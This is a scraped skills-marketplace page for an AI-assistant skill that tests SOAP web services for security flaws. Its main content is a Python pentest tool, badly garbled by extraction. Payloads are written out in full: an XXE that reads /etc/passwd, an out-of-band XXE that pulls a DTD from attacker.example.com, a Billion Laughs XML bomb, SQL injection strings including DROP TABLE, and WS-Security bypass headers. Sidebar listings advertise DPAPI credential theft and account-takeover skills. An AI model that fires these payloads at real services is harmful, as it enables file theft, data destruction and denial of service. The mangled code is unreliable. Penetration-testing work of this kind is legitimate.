Skip to main content
performing-soap-web-service-security-testing Performs security testing of SOAP web services by analyzing WSDL definitions and testing for XML injection, XXE, WS-Security bypass, SOAPAction spoofing, and XPath injection. Use when assessing a SOAP/WSDL-based API endpoint for XML-related vulnerabilities during a penetration test.
Jump to install Skills Marketplace Discover and explore AI skills built by the community.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
Show prompt details A direct command skips the review prompt. Inspect the source before running it.
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills --skill performing-soap-web-service-security-testingThe command stays on one line. Scroll horizontally to inspect it before copying.
Prefer a local copy? Download the files currently available to SkillsMP.
Download Zip Downloading... More from this repository abusing-dpapi-for-credential-access Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
abusing-shadow-credentials-for-privesc Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
acquiring-disk-image-with-dd-and-dcfldd Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
Related occupations SOC
Based on SOC occupation classification
name performing-soap-web-service-security-testing description Performs security testing of SOAP web services by analyzing WSDL definitions and testing for XML injection, XXE, WS-Security bypass, SOAPAction spoofing, and XPath injection. Use when assessing a SOAP/WSDL-based API endpoint for XML-related vulnerabilities during a penetration test. domain cybersecurity subdomain api-security tags ["soap","web-services","wsdl","xml-injection","xxe","ws-security","penetration-testing","soapaction-spoofing","xpath-injection"] version 1.0 author mahipal license Apache-2.0 nist_csf ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] mitre_attack ["T1190","T1059.007","T1552.001","T1055","T1059"]
Performing SOAP Web Service Security Testing
Overview
SOAP (Simple Object Access Protocol) web services remain widely deployed in enterprise environments, financial systems, healthcare, and government integrations. Security testing of SOAP services involves analyzing WSDL (Web Services Description Language) definitions to understand available methods, testing for XML-based injection attacks (XXE, XPath injection, XML bombs), evaluating WS-Security implementation correctness, SOAPAction header spoofing, and assessing authentication and authorization controls. Unlike REST APIs, SOAP services use XML envelopes and often implement complex security standards that can be misconfigured.
When to Use
When conducting security assessments that involve performing soap web service security testing
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing
Prerequisites
Target SOAP web service endpoint URL
WSDL file or URL access for the service
SoapUI or ReadyAPI for structured testing
Burp Suite with SOAP extensions for interception
Python 3.8+ with zeep and lxml libraries
Authorization to perform security testing
Testing Methodology
Phase 1: WSDL Reconnaissance
"""SOAP Web Service Security Testing Tool
Analyzes WSDL definitions and tests SOAP endpoints for
common vulnerabilities including XXE, injection, and
WS-Security misconfigurations.
"""
import requests
import xml.etree.ElementTree as ET
from lxml import etree
import sys
import re
from typing import List , Dict , Optional
from dataclasses import dataclass
@dataclass
class SOAPOperation :
name: str
action: str
input_message: str
str
List
Dict
class
SOAPSecurityTester
'wsdl'
'http://schemas.xmlsoap.org/wsdl/'
'soap'
'http://schemas.xmlsoap.org/wsdl/soap/'
'soap12'
'http://schemas.xmlsoap.org/wsdl/soap12/'
'xsd'
'http://www.w3.org/2001/XMLSchema'
'wsse'
'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd'
def
__init__
self, wsdl_url: str , endpoint_url: Optional [str ] = None
self
self
self
List
self
List
dict
def
parse_wsdl
self
List
"""Parse WSDL to extract available operations and parameters."""
self
30
if
not
self
'.//soap:address'
self
if
is
not
None
self
'location'
for
in
'.//wsdl:binding/wsdl:operation'
self
'name'
'soap:operation'
self
'soapAction'
''
if
is
not
None
else
''
""
""
self
print
f"[+] Found {len (self.operations)} SOAP operations"
for
in
self
print
f" - {op.name} (SOAPAction: {op.action} )"
return
self
def
test_xxe_vulnerability
self, operation: SOAPOperation
dict
"""Test for XML External Entity (XXE) injection."""
"name"
"Classic XXE (file read)"
"payload"
'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation}>&xxe;</{operation}>
</soapenv:Body>
</soapenv:Envelope>'''
format
"name"
"Blind XXE (OOB)"
"payload"
'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.example.com/xxe.dtd">
%xxe;
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation}>test</{operation}>
</soapenv:Body>
</soapenv:Envelope>'''
format
"name"
"XML Bomb (Billion Laughs)"
"payload"
'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation}>&lol4;</{operation}>
</soapenv:Body>
</soapenv:Envelope>'''
format
for
in
try
self
"payload"
"Content-Type"
"text/xml; charset=utf-8"
"SOAPAction"
10
False
if
"root:"
in
or
"/bin/"
in
True
"File contents in response"
if
200
and
"Fault"
not
in
"No XML parsing error returned"
if
5
"Slow response (possible XML bomb)"
True
"test"
"name"
"vulnerable"
"status_code"
"response_time"
"indicators"
if
self
"severity"
"CRITICAL"
"type"
"XXE"
"operation"
"details"
"name"
except
"test"
"name"
"vulnerable"
True
"indicators"
"Request timed out - possible DoS via XML bomb"
return
"operation"
"xxe_results"
def
test_sql_injection
self, operation: SOAPOperation
dict
"""Test SOAP parameters for SQL injection."""
"' OR '1'='1"
"1; DROP TABLE users--"
"1' UNION SELECT NULL,NULL,NULL--"
"' OR 1=1; WAITFOR DELAY '0:0:5'--"
"admin'/*"
for
in
f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation.name} >
<param>{payload} </param>
</{operation.name} >
</soapenv:Body>
</soapenv:Envelope>'''
try
self
"Content-Type"
"text/xml; charset=utf-8"
"SOAPAction"
15
"SQL syntax"
"ORA-"
"mysql_"
"SQLSTATE"
"Microsoft OLE DB"
"Unclosed quotation mark"
"syntax error"
"PostgreSQL"
any
in
for
in
if
self
"severity"
"CRITICAL"
"type"
"SQL Injection"
"operation"
"details"
f"SQL error triggered with: {payload[:30 ]} ..."
"payload"
"status_code"
"sql_error_detected"
"response_time"
except
continue
return
"operation"
"sqli_results"
def
test_soapaction_spoofing
self
dict
"""Test for SOAPAction header spoofing vulnerability."""
for
in
enumerate
self
for
in
enumerate
self
if
continue
f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation.name} >
<param>test</param>
</{operation.name} >
</soapenv:Body>
</soapenv:Envelope>'''
try
self
"Content-Type"
"text/xml; charset=utf-8"
"SOAPAction"
10
if
200
and
"Fault"
not
in
self
"severity"
"HIGH"
"type"
"SOAPAction Spoofing"
"operation"
"details"
f"Accepted with SOAPAction of {other_op.name} "
"body_operation"
"spoofed_action"
"accepted"
True
except
continue
return
"spoofing_results"
def
test_ws_security_bypass
self
dict
"""Test WS-Security token handling."""
"name"
"Missing WS-Security header"
"header"
""
"name"
"Empty security token"
"header"
'''<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
<wsse:UsernameToken>
<wsse:Username></wsse:Username>
<wsse:Password></wsse:Password>
</wsse:UsernameToken>
</wsse:Security>'''
"name"
"Expired timestamp"
"header"
'''<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"
xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
<wsu:Timestamp>
<wsu:Created>2020-01-01T00:00:00Z</wsu:Created>
<wsu:Expires>2020-01-01T00:05:00Z</wsu:Expires>
</wsu:Timestamp>
</wsse:Security>'''
for
in
if
self
self
0
f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
{test["header" ]}
</soapenv:Header>
<soapenv:Body>
<{operation.name} ><param>test</param></{operation.name} >
</soapenv:Body>
</soapenv:Envelope>'''
try
self
"Content-Type"
"text/xml; charset=utf-8"
10
200
and
"Fault"
not
in
if
self
"severity"
"CRITICAL"
"type"
"WS-Security Bypass"
"operation"
"details"
"name"
"test"
"name"
"accepted"
"status_code"
except
continue
return
"ws_security_results"
def
generate_report
self
dict
"""Generate comprehensive security assessment report."""
return
"target"
self
"wsdl"
self
"operations_tested"
len
self
"total_findings"
len
self
"critical"
len
for
in
self
if
"severity"
"CRITICAL"
"high"
len
for
in
self
if
"severity"
"HIGH"
"findings"
self
def
main
1
if
len
1
else
"http://localhost:8080/ws?wsdl"
print
f"[*] Parsing WSDL: {wsdl_url} "
for
in
print
f"\n[*] Testing operation: {op.name} "
print
f"\n{'=' *60 } "
print
f"SOAP Security Assessment Report"
print
f"{'=' *60 } "
print
f"Target: {report['target' ]} "
print
f"Operations Tested: {report['operations_tested' ]} "
print
f"Findings: {report['total_findings' ]} "
f"(Critical: {report['critical' ]} , High: {report['high' ]} )"
for
in
'findings'
print
f"\n [{finding['severity' ]} ] {finding['type' ]} "
print
f" Operation: {finding['operation' ]} "
print
f" Details: {finding['details' ]} "
if
"__main__"
References 